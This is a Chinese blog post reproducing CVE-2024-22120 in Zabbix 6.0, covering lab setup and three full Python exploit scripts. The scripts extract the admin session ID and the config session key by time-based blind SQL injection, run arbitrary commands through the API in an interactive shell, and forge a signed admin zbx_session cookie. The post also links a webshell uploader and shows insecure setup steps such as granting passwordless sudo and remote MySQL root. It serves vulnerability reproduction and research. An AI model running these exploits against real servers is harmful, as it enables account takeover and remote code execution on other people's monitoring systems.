首页 > 数据库 >Zabbix低权限SQL注入至RCE+权限绕过

Zabbix低权限SQL注入至RCE+权限绕过

时间：2024-11-05 09:44:29浏览次数：6  
标签：args sid SQL Zabbix session hostid time query 权限

Zabbix低权限SQL注入至RCE+权限绕过，可惜没找到关于传webshell的好方法，如有大神告知，感激万分！
本文中所有代码以及后续更新都会放在我的github仓库中：

https://github.com/W01fh4cker/CVE-2024-22120-RCE

一、漏洞环境搭建
1.1 下载vmware镜像并设置
源码地址：

https://cdn.zabbix.com/zabbix/sources/stable/6.0/zabbix-6.0.20.tar.gz

Eclipse搭建调试环境的参考文章：

https://mp.weixin.qq.com/s/dBLFvkm6oV_5AMLuwcvuLQ

直接懒人一键搭建：

https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz

解压之后，vmware直接打开vmx文件，默认账号密码是root/zabbix。

登录之后执行命令visudo，在底下添加一行：

zabbix ALL=(ALL) NOPASSWD:ALL
在这里插入图片描述
如果后续在web界面执行脚本的时候出错的话可以参考这篇文章继续修改尝试，反正我只加这一行就行了：

https://www.cnblogs.com/gqdw/p/3844881.html

为了方便测试，我们可以本地navicat连接环境的mysql数据库：

mysql -uroot
SET PASSWORD = ‘zabbix’;
use mysql;
select host, user from user;
update user set host = ‘%’ where user =‘root’;
FLUSH PRIVILEGES;
GRANT ALL PRIVILEGES ON . TO ‘root’@‘%’ WITH GRANT OPTION;
FLUSH PRIVILEGES;
exit
/sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT
yum install policycoreutils -y
service iptables save
1.2 漏洞环境设置
然后就是需要一些设置，首先需要添加一个用户，但是默认的User Role是没有HOSTS的查看权限的，所以需要先去开权限：
在这里插入图片描述
在这里插入图片描述
然后至少给一个读的权限，并点击Add：
在这里插入图片描述
在这里插入图片描述
现在开始添加用户：
在这里插入图片描述
组就选我们刚刚设置过的Guests：
在这里插入图片描述
角色选择User Role：
在这里插入图片描述
为什么说这个漏洞鸡肋呢，提交漏洞的作者说了，需要一个低权限用户，并且该用户需要具有Detect operating system的权限，但是这个操作默认的是没有的，只有管理员用户组才有：

在这里插入图片描述
需要手动设置用户组为全部或者Guests：
在这里插入图片描述
在这里插入图片描述
到这里就可以了，然后按照作者给出的复现步骤复现即可：

https://support.zabbix.com/browse/ZBX-24505

二、漏洞复现
2.1 验证漏洞存在并获取管理员session id和session key
作者给出的脚本如下：

https://support.zabbix.com/secure/attachment/236280/zabbix_server_time_based_blind_sqli.py

他说可以延迟获取管理员的session id，但是我本地复现的时候获取的全0：

在这里插入图片描述
登录数据库发现，有多个sessionid，需要加一个limit 1：

在这里插入图片描述

因此我们可以修改代码如下：

import json
import argparse
from pwn import *
from datetime import datetime

def send_message(ip, port, sid, hostid, injection):
zbx_header = “ZBXD\x01”.encode()
message = {
“request”: “command”,
“sid”: sid,
“scriptid”: “3”,
“clientip”: "’ + " + injection + “+ '”,
“hostid”: hostid
}
message_json = json.dumps(message)
message_length = struct.pack(‘<q’, len(message_json))
message = zbx_header + message_length + message_json.encode()
#print(“Sending message %s” % message)
r = remote(ip, port, level=‘debug’)
r.send(message)
response = r.recv(1024)
r.close()
print(response)

def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):
session_id = “”
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + “abcdef”:
print(“\n(+) trying c=%s” % c, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)” % (i, ord©, time_true, time_false)
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
session_id += c
print(“(+) session_id=%s” % session_id, end=“”, flush=True)
break
print(“\n”)
return session_id

def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):
token = “”
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + “abcdef”:
print(“\n(+) trying c=%s” % c, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)” % (i, ord©, time_true, time_false)
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
token += c
print(“(+) session_key=%s” % token, end=“”, flush=True)
break
print(“\n”)
return token

def tiny_poc(ip, port, sid, hostid):
print(“(+) Running simple PoC…\n”, end=“”, flush=True)
print(“(+) Sleeping for 1 sec…\n”, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select sleep(1))”
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print(“(+) Request time: %d\n” % (after_query-before_query))
print(“(+) Sleeping for 5 sec…\n”, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select sleep(5))”
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print(“(+) Request time: %d\n” % (after_query - before_query))
print(“(+) Sleeping for 10 sec…\n”, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select sleep(10))”
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print(“(+) Request time: %d\n” % (after_query - before_query))

def poc_to_check_in_zabbix_log(ip, port, sid, hostid):
print(“(+) Sending SQL request for MySQL version…\n”, end=“”, flush=True)
query = “(version())”
send_message(ip, port, sid, hostid, query)

if name == “main”:
parser = argparse.ArgumentParser(description=‘Command-line option parser example’)
parser.add_argument(“–false_time”, help=“Time to sleep in case of wrong guess(make it smaller than true time, default=1)”, default=“1”)
parser.add_argument(“–true_time”, help=“Time to sleep in case of right guess(make it bigger than false time, default=10)”, default=“10”)
parser.add_argument(“–ip”, help=“Zabbix server IP”)
parser.add_argument(“–port”, help=“Zabbix server port(default=10051)”, default=“10051”)
parser.add_argument(“–sid”, help=“Session ID of low privileged user”)
parser.add_argument(“–hostid”, help=“hostid of any host accessible to user with defined sid”)
parser.add_argument(“–poc”, action=‘store_true’, help=“Use this key if you want only PoC, PoC will simply make sleep 1,2,5 seconds on mysql server”, default=False)
parser.add_argument(“–poc2”, action=‘store_true’, help=“Use this key to simply generate error in zabbix logs, check logs later to see results”, default=False)
args = parser.parse_args()
if args.poc:
tiny_poc(args.ip, int(args.port), args.sid, args.hostid)
elif args.poc2:
poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid, args.hostid)
else:
print(“(+) Extracting Zabbix config session key…\n”, end=“”, flush=True)
config_session_key = extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
print(“(+) config session_key=%s\n” % config_session_key, end=“”, flush=True)
print(“(+) Extracting admin session_id…”)
admin_sessionid = extract_admin_session_id(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
print(“(+) admin session_id=%s\n” % admin_sessionid, end=“”, flush=True)
print(“(+) session_key=%s, admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with session_key” % (config_session_key, admin_sessionid))
这样就可以正确获取啦：
在这里插入图片描述
有了这个就可以实现RCE了，请看后文。

然后是poc2：

python main.py --ip 192.168.198.136 --sid 4d2b6a02bfe2bc7d6fde50e8fe646621 --hostid 10084 LOG_LEVEL=error --poc2
然后查看日志：

cat /var/log/zabbix/zabbix_server.log | grep “version()”
在这里插入图片描述
2.2 利用获取到的管理员session id实现RCE
import requests
import json

ZABIX_ROOT = “http://192.168.198.136”
url = ZABIX_ROOT + “/api_jsonrpc.php”
host_id = “10084”
session_id = “00000000000000000000000000000000”
headers = {
“content-type”: “application/json”,
}
auth = json.loads(‘{“jsonrpc”: “2.0”, “result”: "’ + session_id + ‘", “id”: 0}’)

while True:
cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ')
if cmd == “”:
print(“Result of last command:”)
elif cmd == “quit”:
break
payload = {
“jsonrpc”: “2.0”,
“method”: “script.update”,
“params”: {
“scriptid”: “1”,
“command”: “” + cmd + “”
},
“auth”: auth[‘result’],
“id”: 0,
}
cmd_upd = requests.post(url, data=json.dumps(payload), headers=headers)
payload = {
“jsonrpc”: “2.0”,
“method”: “script.execute”,
“params”: {
“scriptid”: “1”,
“hostid”: “” + host_id + “”
},
“auth”: auth[‘result’],
“id”: 0,
}
cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
cmd_exe_json = cmd_exe.json()
if “error” not in cmd_exe.text:
print(cmd_exe_json[“result”][“value”])
else:
print(cmd_exe_json[“error”][“data”])

2.3 利用获取到的管理员session id和session key构造zbx_session登录管理界面
作者在报告中提了一嘴有session_id和session_key就可以得到sign值，然后就可以拼出zbx_session：

网上也没找到相应的成品代码，那就去翻源码。

zabbix-6.0.20\ui\include\classes\core\CCookieSession.php这里面的代码是用来处理和session相关的操作的，代码也是写的通俗易懂：
在这里插入图片描述
在这里插入图片描述

就是做一个SHA256的hash操作，那感情好啊，直接写出php形式的poc：

<?php function sign(string $data): string { $key = "927f855d3388d6daedb153d3de864970"; return hash_hmac("sha256", $data, $key); } function prepareData(array $data): string { $data['sign'] = sign(json_encode($data)); return base64_encode(json_encode($data)); } function set(string $key, $value):array { $_SESSION[$key] = $value; return $_SESSION; } set("sessionid", "be52fe697c5935099d441f03c5c68bff"); set("serverCheckResult", true); $session_ = set("serverCheckTime", time()); $res = prepareData($session_); echo $res; ?>

改成python代码的时候需要注意字典的item的位置问题，示例代码如下：

def GenerateAdminSession(sessionid, session_key):
def sign(data: str) -> str:
key = session_key.encode()
return hmac.new(key, data.encode(‘utf-8’), hashlib.sha256).hexdigest()

def prepare_data(data: dict) -> str:
    sorted_data = OrderedDict(data.items())
    sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
    return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')

session = {
    "sessionid": sessionid,
    "serverCheckResult": True,
    "serverCheckTime": int(time.time())
}
res = prepare_data(session)
return res

完整的代码：

import hmac
import json
import argparse
import requests
from pwn import *
from datetime import datetime

def SendMessage(ip, port, sid, hostid, injection):
context.log_level = “CRITICAL”
zbx_header = “ZBXD\x01”.encode()
message = {
“request”: “command”,
“sid”: sid,
“scriptid”: “1”,
“clientip”: "’ + " + injection + “+ '”,
“hostid”: hostid
}
message_json = json.dumps(message)
message_length = struct.pack(‘<q’, len(message_json))
message = zbx_header + message_length + message_json.encode()
r = remote(ip, port, level=“CRITICAL”)
r.send(message)
r.recv(1024)
r.close()

def ExtractConfigSessionKey(ip, port, sid, hostid, time_false, time_true):
token = “”
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + “abcdef”:
before_query = datetime.now().timestamp()
query = “(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)” % (i, ord©, time_true, time_false)
SendMessage(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
token += c
print(“(+) session_key=%s” % token, flush=True)
break
return token

def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):
session_id = “”
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + “abcdef”:
before_query = datetime.now().timestamp()
query = “(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)” % (i, ord©, time_true, time_false)
SendMessage(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
session_id += c
print(“(+) session_id=%s” % session_id, flush=True)
break
return session_id

def GenerateAdminSession(sessionid, session_key):
def sign(data: str) -> str:
key = session_key.encode()
return hmac.new(key, data.encode(‘utf-8’), hashlib.sha256).hexdigest()

def prepare_data(data: dict) -> str:
    sorted_data = OrderedDict(data.items())
    sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
    return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')

session = {
    "sessionid": sessionid,
    "serverCheckResult": True,
    "serverCheckTime": int(time.time())
}
res = prepare_data(session)
return res

def CheckAdminSession(ip, admin_session):
proxy = {
“https”: “http://127.0.0.1:8083”,
“http”: “http://127.0.0.1:8083”
}
url = f"http://{ip}/zabbix.php?action=dashboard.view"
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36”,
“Cookie”: f"zbx_session={admin_session}"
}
resp = requests.get(url=url, headers=headers, timeout=10, proxies=proxy)
if “Administration” in resp.text and resp.status_code == 200:
return admin_session
else:
return None

if name == “main”:
parser = argparse.ArgumentParser(description=“CVE-2024-22120-LoginAsAdmin”)
parser.add_argument(“–false_time”,
help=“Time to sleep in case of wrong guess(make it smaller than true time, default=1)”,
default=“1”)
parser.add_argument(“–true_time”,
help=“Time to sleep in case of right guess(make it bigger than false time, default=10)”,
default=“10”)
parser.add_argument(“–ip”, help=“Zabbix server IP”)
parser.add_argument(“–port”, help=“Zabbix server port(default=10051)”, default=“10051”)
parser.add_argument(“–sid”, help=“Session ID of low privileged user”)
parser.add_argument(“–hostid”, help=“hostid of any host accessible to user with defined sid”)
args = parser.parse_args()
admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
session_key = ExtractConfigSessionKey(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
admin_session = GenerateAdminSession(admin_sessionid, session_key)
res = CheckAdminSession(args.ip, admin_session)
if res is not None:
print(f"try replace cookie with:\nzbx_session={res}")
else:
print(“failed”)
完整的演示效果如下：

可以看到这里是用户vulntest的界面：
在这里插入图片描述
然后运行拿到session：
在这里插入图片描述
替换cookie中对应的参数，然后刷新：
在这里插入图片描述
即可看到是Zabbix Administrator了，实现了从用户界面到管理界面的转换：
在这里插入图片描述
2.4 写Webshell
没有花时间研究其他办法了，因为运行用户是zabbix，等级太低了，所以默认情况下是没权限去echo写马的，但是我还是把对应的脚本传上去了：

https://github.com/W01fh4cker/CVE-2024-22120-RCE/blob/main/CVE-2024-22120-Webshell.py

在这里插入图片描述
网上对于这方面的研究不多，看到一篇灼剑安全团队的N0r4h师傅写的文章：

https://mp.weixin.qq.com/s/XKhmivS1_TarPD5yKgzQwA

他也提到了无法直接echo写马，但是他当时遇到的环境是存在pkexec的，所以有了后续的利用。
在这里插入图片描述
但是默认肯定是没有的：
在这里插入图片描述
三、代码分析（略）
问题出在如下位置，就不花时间仔细调试了
在这里插入图片描述

标签：args,sid,SQL,Zabbix,session,hostid,time,query,权限
From： https://blog.csdn.net/Libao657/article/details/143480526

相关文章

  • MySQL导入sql文件报错：2006 - MySQL server has gone away(转载)
    今天在在MySQL导入sql文件，导入失败，出现如下错误：2006-MySQLserverhasgoneaway，之前也遇到过，又一次遇到，还是记录一下吧！【问题】导入的sql文件大概有15M，导入过程中报错：2006-MySQLserverhasgoneaway  【解决办法】1、找到MySQL安装目录下的my.ini文件，修改max_allo......
  • mysql基础知识
    数据库是系统化的工具，用来存放、检索和分析数据。它的核心价值在于帮助我们高效地处理信息，确保数据的准确性和安全性。想象一下，如果没有数据库，我们可能需要用无数的文件柜来存放各种文件，查找信息时就得一个一个翻，这很低效。数据库的出现，就像是给这些文件柜装上了智能搜索系统，......
  • 还原SQL Server 2008数据库失败
    数据库正在被某些进程调用：当数据库正在被其他进程或用户使用时，SQLServer无法获得对该数据库的独占访问权，从而导致还原操作失败。解决方案查询正在调用数据库的进程号在SQLServerManagementStudio的左侧导航栏中，找到并单击待还原的数据库。在菜单栏中，单击“新建查......
  • 第二节：SQLServer图形化界面配置账号权限
    一.步骤详解1. 右键，新建登录名2.输入新建的用户名和密码，然后把下面的密码策略都取消掉。3设置服务器角色，只勾选public，其他的都不要选（选了以后，所有数据库都能访问了，后续的设置就无效了）4设置用户映射，即该用户可以管理哪些DB，这里勾选需要的DB，然后选上dbowner权限，表示......
  • 批发订货系统的设计、开发及源码实现（PHP + MySQL）
    随着电子商务的迅速发展，批发订货系统的需求日益增长。一个高效的批发订货系统不仅可以提高订货效率，还能优化库存管理，降低运营成本。本文将介绍一个基于PHP和MySQL的批发订货系统的设计、开发及其源码实现。1.系统需求分析1.1功能需求用户管理：用户注册、登录和权限管理......
  • left join 出现重复on导致sql语句报错
    leftjoin出现重复on导致sql语句报错​mybatis-plus开启多租户插件功能时，在进行链表查询时会重复出现on导致sql语句报错原因​原因是引入的分页拆件中的jsqlparser解析器和mybatis-plus的jsqlparser解析器冲突了，导致默认采用了分页拆件的jsqlparser解析器​分页拆件......
  • [nltoSql]A Survey on Text-to-SQL Parsing: Concepts, Methods, and Future Directio
    全文总结这篇论文题为《ASurveyonText-to-SQLParsing:Concepts,Methods,andFutureDirections》。研究背景背景介绍: 这篇文章的研究背景是文本到SQL解析任务的重要性和挑战性。文本到SQL解析的目标是将自然语言（NL）问题转换为结构化查询语言（SQL），以便在关系数据库上执......
  • SQL注入其他情况
    宽字节注入当某字符的大小为两个字节时，被称为宽字节。宽字节注入是利用数据库在处理GBK等宽字节编码时的特性，通过特定的输入绕过过滤。当发现网站对敏感字符进行转义过滤，且数据库使用的是gbk编码GBK双字节编码：一个汉字用两个字节表示，首字节对应0x81-0xFE，尾字节对应0x40-0xFE......
  • 数据库操作与数据管理——Rust 与 SQLite 的集成
    第六章：数据库操作与数据管理第一节：Rust与SQLite的集成在本节中，我们将深入探讨如何在Rust中使用SQLite数据库，涵盖从基本的CRUD操作到事务处理、数据模型的构建、性能优化以及安全性考虑等方面。SQLite是一个轻量级的关系型数据库，适合嵌入式应用和小型项目。我们将利......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99